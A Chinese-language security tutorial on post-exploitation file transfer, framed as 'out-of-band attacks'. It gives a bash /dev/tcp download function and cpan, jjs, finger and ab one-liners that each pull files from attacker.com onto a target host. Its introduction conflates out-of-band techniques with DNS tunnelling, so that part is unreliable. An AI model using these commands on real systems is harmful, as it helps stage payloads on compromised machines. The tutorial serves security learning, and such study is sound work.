引言
“离地攻击”(Out-of-Band (OOB) Attack)是一种网络攻击技术,它利用网络协议的一些特定特性或漏洞,将攻击数据(通常是恶意指令或数据)传输到一个受害系统上,并从受害系统上以某种形式获取响应。与传统的攻击方式不同,离地攻击通常不直接依赖于与目标系统之间的直接交互,而是利用系统与其他网络实体进行通信的能力。
离地攻击可以利用各种不同的网络协议和服务,包括但不限于HTTP、DNS、SMTP等。攻击者可能会在这些协议中注入恶意数据,然后监视其他通道上的活动来获取目标系统的响应。
举个例子,一个常见的离地攻击是利用HTTP请求中的DNS查询,通过在恶意网站上的JavaScript代码中嵌入域名,从而导致浏览器向攻击者控制的DNS服务器发出查询请求,进而在攻击者的DNS服务器上记录请求的信息。这种攻击方法被称为“DNS隧道”。
总的来说,离地攻击是一种利用网络通信协议的特性和漏洞,以在攻击者和目标之间进行通信和数据传输的技术。
构造函数
linux
里可以把一些重复使用的命令封装成一个集合,之后可以使用函数名调用,因此我们可以自己写一 个download函数,大概原理就是使用/dev/tcp设备文件与服务器建立TCP连接,并发送HTTP请求获取文件内容,最后将文件内容打印到标准输出,最后把输出重定向就可以获得文件了。
代码参考:
function DOWNLOAD() {
url=$1
proto="http://"
host=${url/$proto/}
server=${host%%/*}
path=${host#*/}
DOC=/${path// /}
HOST=${server/:*/}
PORT=${server/*:/}
[[ -n ${PORT} ]] || PORT=80
PORT=$(( PORT + 0 ))
exec 3<>/dev/tcp/${HOST}/${PORT}
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
while IFS= read -r line ; do
[[ "${line}" == $'\r' ]] && break
done <&3
nul='\0'
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
printf "%s${nul}" "${x}"
done <&3
exec 3>&-
}
当然也不仅仅限于单一的语言,环境中是什么语言就用什么语言
cpan
cpan
命令是 Perl 编程语言中的一个重要工具,用于管理 Perl 模块的安装、升级和移除。它是 Comprehensive Perl Archive Network (CPAN) 的客户端工具,通过 CPAN,开发者可以访问并获取到大量的 Perl 模块、工具和文档。
命令条件:无论是在开发环境、生产环境还是个人计算机上,只要安装了 Perl 解释器,就可以使用 cpan
命令来管理 Perl 模块。它是 Perl 开发者的重要工具之一,为他们提供了方便快捷的方式来获取、安装和管理 Perl 模块。
参考实际使用时命令:
export URL=http://attacker.com/file_to_get && cpan -MFile::Fetch -e 'my $file = (File::Fetch->new(uri => "$ENV{URL}"))->fetch();'
让我们逐步解释这个命令:
-
export URL=attacker.com/file_to_get
: 这部分命令使用export
关键字将一个环境变量URL
设置为attacker.com/file_to_get
,即要下载的文件的 URL。 -
cpan -MFile::Fetch -e '...'
: 这部分命令调用了cpan
命令,并使用-M
选项加载了File::Fetch
模块。接着,使用-e
选项执行了一个 Perl 表达式。 -
'my $file = (File::Fetch->new(uri => "$ENV{URL}"))->fetch();'
: 这个 Perl 表达式使用File::Fetch
模块创建了一个新的File::Fetch
对象,指定了要下载的文件的 URI,即使用了之前设置的环境变量URL
。然后调用fetch()
方法来下载文件,并将其保存到当前目录下。下载完成后,返回的文件路径会赋值给变量$file
。
整个命令的目的是在 Perl 环境中下载了指定 URL 的文件,并将其保存到当前目录下,实现后渗透目标。
jjs
jjs
是一个命令行工具,用于执行 JavaScript 代码。它是 Oracle JDK 8 及其以后的版本中包含的 Nashorn JavaScript
引擎的一部分。Nashorn
允许在 JVM 上运行 JavaScript 代码,jjs
则提供了一个方便的方式来使用这一功能。
命令条件: JDK 8 —— JDK 14 ,JDK 15 后被移除。
参考实际使用时命令:
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
echo "var URL = Java.type('java.net.URL');
var ws = new URL('$URL');
var Channels = Java.type('java.nio.channels.Channels');
var rbc = Channels.newChannel(ws.openStream());
var FileOutputStream = Java.type('java.io.FileOutputStream');
var fos = new FileOutputStream('$LFILE');
fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);
fos.close();
rbc.close();" | jjs
让我们逐步解释这个命令:
-
export URL=attacker.com/file_to_get
: 这部分命令使用export
关键字将一个环境变量URL
设置为attacker.com/file_to_get
,即要下载的文件的 URL。 -
export LFILE=file_to_save
: 这一行设置了另一个环境变量LFILE
,指定了要保存下载文件的路径和文件名。 -
echo "..." | jjs
: 这部分命令使用echo
命令将一段 JavaScript 代码传递给jjs
命令执行,即通过 Nashorn JavaScript 引擎执行 JavaScript 代码。 - JavaScript 代码段:这段 JavaScript 代码实现了从指定 URL 下载文件并保存到本地的功能。
- 首先,通过 Java 类
java.net.URL
和java.nio.channels.Channels
打开 URL 的输入流,并创建文件输出流。 - 然后,使用
transferFrom()
方法将从 URL 输入流读取的数据写入到文件输出流中。 - 最后,关闭输入流和输出流,完成文件下载和保存的过程。
- 首先,通过 Java 类
finger
finger
命令通常用于系统管理员查询当前登录用户的信息,以及查看其他用户的状态和活动。同时,攻击者可能会使用 finger
命令来收集有关目标系统上用户的信息,以进行进一步的攻击。因此,在安全意识培训中,通常会建议限制或禁用 finger
命令的使用,以防止泄露敏感信息。
语法:
finger [选项] [用户名]@[主机名]
参考实际使用时命令:
finger x@attacker.com | base64 -d > file_to_save
让我们逐步解释这个命令:
-
finger x@attacker.com
: 这部分命令使用finger
命令查询名为x
的用户在attacker.com
主机上的信息。finger
命令通常用于获取远程系统上的用户信息,包括登录名、用户主目录、登录时间等。在这里,x
是指定的用户,attacker.com
是目标主机的域名或 IP 地址。 -
base64 -d > file_to_save
: 这部分命令将finger
命令的输出进行了解码,并将结果保存到名为file_to_save
的文件中。base64 -d
命令用于对输入进行 Base64 解码,>
符号用于将解码后的内容重定向到指定的文件中。
这个命令的作用是查询远程主机 attacker.com
上用户 x
的信息,并将其解码后保存到本地文件 file_to_save
中。
ab
ab
(ApacheBench)是一个用于性能测试的命令行工具,通常用于测试 HTTP 服务器的负载能力和性能。它是 Apache HTTP 服务器的附属工具,但可以用来测试任何 HTTP 服务器的性能。ab
通过模拟多个并发请求来衡量服务器在特定负载下的响应能力。
语法:
ab [options] [http[s]://]hostname[:port]/path
参考实际使用时命令:
ab -v2 http://attacker.com/file_to_download
让我们逐步解释这个命令:
-
ab
: 这是 ApacheBench 工具的命令,用于执行 HTTP 性能测试。 -
-v2
: 这个选项设置了详细级别为 2,表示输出详细的调试信息。在详细级别 2 下,ab
将会输出更多关于请求和响应的详细信息,包括请求头、响应头以及连接信息。 -
attacker.com/file_to_download
: 这是要进行性能测试的目标 URL,即要下载的文件的 URL。ab
将向该 URL 发起 HTTP 请求,并测量服务器的响应时间、吞吐量等性能指标。
总结
本文介绍了离地攻击(Out-of-Band (OOB) Attack)的基本概念和实现方法。离地攻击是一种通过网络协议漏洞或特性进行的数据传输攻击技术,常用于HTTP、DNS、SMTP等协议。我们详细讨论了如何在Linux环境下利用不同的编程工具和命令来实施这种攻击,并展示了具体的代码和命令示例。通过这些示例,我们可以看到离地攻击如何利用不同的工具和语言特性来实现数据传输和信息收集。这些技术为攻击者提供了多种手段,以便在不同环境和系统下进行有效的攻击。因此,理解和防御这些技术对于网络安全至关重要。